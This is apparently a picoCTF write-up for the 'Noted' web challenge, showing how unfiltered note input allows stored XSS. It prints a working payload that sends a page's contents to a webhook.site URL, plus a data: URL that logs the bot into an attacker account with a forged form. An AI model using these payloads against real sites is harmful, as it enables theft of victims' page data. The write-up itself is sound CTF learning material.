📄

NOTED

LEAD

Looking in the server.js file. We can see that it is using puppeteer ( a headless web automation tool)


We might be bale to do a SQL injection approach as it uses SQL


We can see that the flag is on a local page that gets produced when a new note is created. But how can we get access to a local page of a running web server?


We cannot session highjack since it has CSRF protection 😔


OPENING THE WEBSERVER

We will register account with

Username : sahil

Password: sahil

We can create notes and this could be susceptible to XSS as there were no filters in the source code files! 🙂

SELF XSS

After a few failed attempts I looked at different forms of XSS and came across reflected / Self XSS that mainly uses webhooks. Created a webhook using:

https://webhook.site/#!/view/d76fa92e-7c31-4f70-aab0-716c3cbadd04

To Test the webhook , i reported the url in the report section which did come back with a GET request

WEBHOOK XSS

Using the data:[<media-type>][;base64],<data> syntax

The script will create a separate window and will send contents of the window to the webhook. I injected it into the new notes input field to create a stored XSS script and it will look for the run keyword to trigger.

<script>
if (window.location.search.includes("run")) {
    window.location = "https://webhook.site/d76fa92e-7c31-4f70-aab0-716c3cbadd04?" + window.open("", "new_window").document.body.textContent
}
</script>

The script below will create a separate window where it will open the local webservers URL to get the webserver to write out the flag contents in the new window and trigger the other payload which we will then send to the webhook to intercept.

data:text/html,
<form action="http://0.0.0.0:8080/login" method=POST id="login_form" target="_blank">
    <input type="text" name="username" value="sahil"><input type="text" name="password"
     value="sahil">
</form>
<script>
    window.open("http://0.0.0.0:8080/notes", "new_window");
    setTimeout(function() {login_form.submit()}, 1000);
    setTimeout(function() {window.location="http://0.0.0.0:8080/notes?run"}, 2500);
</script>

To ensure that it worked i inserted the above code into the new note input field to verify the username and password will be sent through the data:text

I then sent the payload code through the Report URL

FLAG

We wait 2.5 seconds for it to send and after that we check the webhook.site and we can see that it has successfully sent the flag

💡
picoCTF{p00rth0s_ (empty)
parl1ment_Of_p3p3gas_386f018
4}